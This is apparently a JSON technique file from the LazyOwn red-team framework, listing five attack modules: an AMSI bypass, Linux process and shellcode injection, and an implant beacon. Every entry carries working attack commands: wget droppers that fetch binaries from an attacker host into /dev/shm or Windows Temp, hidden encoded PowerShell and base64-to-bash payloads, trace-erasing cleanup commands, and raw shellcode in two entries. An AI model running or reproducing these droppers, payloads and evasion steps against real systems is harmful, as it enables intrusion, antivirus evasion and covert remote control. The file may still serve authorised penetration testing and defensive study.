LazyOwn/adversary.json at main · grisuno/LazyOwn · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
[
    {
        "id": 1,
        "category": "bypass amsi",
        "technique_name":"Custopm Amsi Bypass",
        "technique_id":"LAE01",
        "target_os": "windows",
        "executer": "cmd",
        "name": "amsi.c",
        "binary": "amsi.exe",
        "lang": "c",
        "path_src": "modules",
        "output_path": "sessions",
        "target_path":"C:\\Windows\\Temp\\",
        "pid": "12345",
        "param": "1",
        "encoder": "base64",
        "usage": ".\\{binary} <PID> [1] parche_via_OpenSession_jne\n[2] parche_via_OpenSession_ret\n[3] parche_via_ScanBuffer_ret\n[4] parche_via_@RastaMouse\n[5] parche_via_E_ACCESSDENIED_codigo_de_error\n[6] parche_via_E_HANDLE_codigo_de_error\n[7] parche_via_E_OUTOFMEMORY_codigo_de_error",
        "description":"Simple amsi bypass using C",
        "shellcode":"",
        "replace_command": "",
        "copy_command": "cp {path_src}/{name} {output_path}/{name}",
        "compile": "x86_64-w64-mingw32-gcc -o {output_path}/{binary} {path_src}/{name}",
        "droper": "cmd.exe /c powershell.exe wget -O {target_path}{binary} http://{lhost}/{binary}",
        "command": "cd {target_path} ; .\\{binary} {pid} {param}",
        "payload": "cmd.exe /c powershell.exe -ExecutionPolicy ByPass -WindowStyle Hidden -Enco {base64_command}",
        "clean_cmd":"cmd.exe /c powershell.exe del {target_path}{binary}",
        "sleep":"1"
    },
    {
        "id": 2,
        "category": "Process to get inyected",
        "technique_name":"Process to get inyected Shellcode into Pid process",
        "technique_id":"LAE02",
        "target_os": "linux",
        "executer": "bash",
        "name": "pid.c",
        "binary": "pid",
        "lang": "c",
        "path_src": "sessions/c",
        "output_path": "sessions",
        "target_path":"/dev/shm/",
        "pid": "",
        "param": "",
        "encoder": "base64",
        "usage": "./{binary}",
        "description":"Simple process te get inyected using C",
        "shellcode":"",
        "replace_command": "",
        "copy_command": "cp {path_src}/{name} {output_path}/{name}",
        "compile": "gcc -o {output_path}/{binary} {path_src}/{name}",
        "droper": "wget -O {target_path}{binary} http://{lhost}/{binary}",
        "command": "cd {target_path} ; ./{binary} | tee {target_path}/output_{name}.txt",
        "payload": "/bin/echo '{base64_command}' | /bin/base64 -d | /bin/bash",
        "clean_cmd":"rm {target_path}{binary} -rf",
        "sleep":"1"
    },
    {
        "id": 3,
        "category": "inject shellcode to pid",
        "technique_name":"Inject Shellcode into Pid process",
        "technique_id":"LAE03",
        "target_os": "linux",
        "executer": "bash",
        "name": "infect.c",
        "binary": "infect",
        "lang": "c",
        "path_src": "sessions/c",
        "output_path": "sessions",
        "target_path":"/dev/shm",
        "pid": "12345",
        "param": "",
        "encoder": "base64",
        "usage": "./{binary} <PID>",
        "description":"Simple process inyection using C",
        "shellcode":"\\\\\\\\x31\\\\\\\\xff\\\\\\\\x6a\\\\\\\\x09\\\\\\\\x58\\\\\\\\x99\\\\\\\\xb6\\\\\\\\x10\\\\\\\\x48\\\\\\\\x89\\\\\\\\xd6\\\\\\\\x4d\\\\\\\\x31\\\\\\\\xc9\\\\\\\\x6a\\\\\\\\x22\\\\\\\\x41\\\\\\\\x5a\\\\\\\\x6a\\\\\\\\x07\\\\\\\\x5a\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x78\\\\\\\\x5\\\\\\\\x6a\\\\\\\\x0a\\\\\\\\x41\\\\\\\\x59\\\\\\\\x50\\\\\\\\x6a\\\\\\\\x29\\\\\\\\x58\\\\\\\\x99\\\\\\\\x6a\\\\\\\\x02\\\\\\\\x5f\\\\\\\\x6a\\\\\\\\x0\\\\\\\\x5e\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x78\\\\\\\\x3b\\\\\\\\x48\\\\\\\\x97\\\\\\\\x48\\\\\\\\xb9\\\\\\\\x02\\\\\\\\x0\\\\\\\\x15\\\\\\\\xb3\\\\\\\\x0a\\\\\\\\x0a\\\\\\\\x0e\\\\\\\\x0a\\\\\\\\x51\\\\\\\\x48\\\\\\\\x89\\\\\\\\xe6\\\\\\\\x6a\\\\\\\\x10\\\\\\\\x5a\\\\\\\\x6\\\\\\\\x2a\\\\\\\\x58\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x59\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x79\\\\\\\\x25\\\\\\\\x49\\\\\\\\xff\\\\\\\\xc9\\\\\\\\x7\\\\\\\\x18\\\\\\\\x57\\\\\\\\x6a\\\\\\\\x23\\\\\\\\x58\\\\\\\\x6a\\\\\\\\x00\\\\\\\\x6a\\\\\\\\x05\\\\\\\\x48\\\\\\\\x89\\\\\\\\xe7\\\\\\\\x48\\\\\\\\x3\\\\\\\\xf6\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x59\\\\\\\\x59\\\\\\\\x5f\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x79\\\\\\\\xc7\\\\\\\\x6a\\\\\\\\x3c\\\\\\\\x5\\\\\\\\x6a\\\\\\\\x01\\\\\\\\x5f\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x5e\\\\\\\\x6a\\\\\\\\x7e\\\\\\\\x5a\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc\\\\\\\\x78\\\\\\\\xed\\\\\\\\xff\\\\\\\\xe",
        "replace_command": "sed -i 's/[shellcode]/{shellcode}/g'  {output_path}/{name}",
        "copy_command": "cp {path_src}/{name} {output_path}/{name}",
        "compile": "gcc -o {output_path}/{binary} {output_path}/{name}",
        "droper": "wget -O {target_path}/{binary} http://{lhost}/{binary}",
        "command": "cd {target_path} ; ./{binary} {pid} | tee {target_path}/output_{name}.txt",
        "payload": "/bin/echo '{base64_command}' | /bin/base64 -d | /bin/bash",
        "clean_cmd":"rm {target_path}/{binary} -rf",
        "sleep":"1"
    },
    {
        "id": 4,
        "category": "inject shellcode",
        "technique_name":"Inject Shellcode",
        "technique_id":"LAE04",
        "target_os": "linux",
        "executer": "bash",
        "name": "shell.c",
        "binary": "shell",
        "lang": "c",
        "path_src": "sessions/c",
        "output_path": "sessions",
        "target_path":"/dev/shm",
        "pid": "",
        "param": "",
        "encoder": "base64",
        "usage": "./{binary}",
        "description":"Simple inyection using C",
        "shellcode":"\\\\\\\\x31\\\\\\\\xff\\\\\\\\x6a\\\\\\\\x09\\\\\\\\x58\\\\\\\\x99\\\\\\\\xb6\\\\\\\\x10\\\\\\\\x48\\\\\\\\x89\\\\\\\\xd6\\\\\\\\x4d\\\\\\\\x31\\\\\\\\xc9\\\\\\\\x6a\\\\\\\\x22\\\\\\\\x41\\\\\\\\x5a\\\\\\\\x6a\\\\\\\\x07\\\\\\\\x5a\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x78\\\\\\\\x5\\\\\\\\x6a\\\\\\\\x0a\\\\\\\\x41\\\\\\\\x59\\\\\\\\x50\\\\\\\\x6a\\\\\\\\x29\\\\\\\\x58\\\\\\\\x99\\\\\\\\x6a\\\\\\\\x02\\\\\\\\x5f\\\\\\\\x6a\\\\\\\\x0\\\\\\\\x5e\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x78\\\\\\\\x3b\\\\\\\\x48\\\\\\\\x97\\\\\\\\x48\\\\\\\\xb9\\\\\\\\x02\\\\\\\\x0\\\\\\\\x15\\\\\\\\xb3\\\\\\\\x0a\\\\\\\\x0a\\\\\\\\x0e\\\\\\\\x0a\\\\\\\\x51\\\\\\\\x48\\\\\\\\x89\\\\\\\\xe6\\\\\\\\x6a\\\\\\\\x10\\\\\\\\x5a\\\\\\\\x6\\\\\\\\x2a\\\\\\\\x58\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x59\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x79\\\\\\\\x25\\\\\\\\x49\\\\\\\\xff\\\\\\\\xc9\\\\\\\\x7\\\\\\\\x18\\\\\\\\x57\\\\\\\\x6a\\\\\\\\x23\\\\\\\\x58\\\\\\\\x6a\\\\\\\\x00\\\\\\\\x6a\\\\\\\\x05\\\\\\\\x48\\\\\\\\x89\\\\\\\\xe7\\\\\\\\x48\\\\\\\\x3\\\\\\\\xf6\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x59\\\\\\\\x59\\\\\\\\x5f\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc0\\\\\\\\x79\\\\\\\\xc7\\\\\\\\x6a\\\\\\\\x3c\\\\\\\\x5\\\\\\\\x6a\\\\\\\\x01\\\\\\\\x5f\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x5e\\\\\\\\x6a\\\\\\\\x7e\\\\\\\\x5a\\\\\\\\x0f\\\\\\\\x05\\\\\\\\x48\\\\\\\\x85\\\\\\\\xc\\\\\\\\x78\\\\\\\\xed\\\\\\\\xff\\\\\\\\xe",
        "replace_command": "",
        "copy_command": "cp {path_src}/{name} {output_path}/{name}",
        "compile": "gcc -o {output_path}/{binary} {output_path}/{name}",
        "droper": "wget -O {target_path}/{binary} http://{lhost}/{binary}",
        "command": "cd {target_path} ; ./{binary} | tee {target_path}/output_{name}.txt",
        "payload": "/bin/echo '{base64_command}' | /bin/base64 -d | /bin/bash",
        "clean_cmd":"rm {target_path}/{binary} -rf",
        "sleep":1
    },
    {
        "id": 5,
        "category": "implant maleable",
        "technique_name":"Maleable Beacon",
        "technique_id":"LAE05",
        "target_os": "linux",
        "executer": "bash",
        "name": "implant_crypt.go",
        "binary": "no_priv",
        "lang": "go",
        "path_src": "sessions/implant",
        "output_path": "sessions",
        "target_path":"/dev/shm",
        "pid": "",
        "param": "",
        "encoder": "base64",
        "usage": "./{binary}",
        "description":"LazyOwn RedTeam Maleable Implant Beacon",
        "shellcode":"",
        "replace_command": "sed -i 's/[shellcode]/{shellcode}/g'  {output_path}/{name}",
        "copy_command": "cowthink -bdgpstwy LazyOwn RedTeam Framework. The best OpSec T00l",
        "compile": "CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags=\"-s -w\" -o {output_path}/{binary} {output_path}/{name}",
        "droper": "wget -O {target_path}/{binary} http://{lhost}/{binary}",
        "command": "cd {target_path} ; ./{binary} | tee {target_path}/output_{name}.txt",
        "payload": "/bin/echo '{base64_command}' | /bin/base64 -d | /bin/bash",
        "clean_cmd":"rm {target_path}/{binary} -rf",
        "sleep":6
    }
]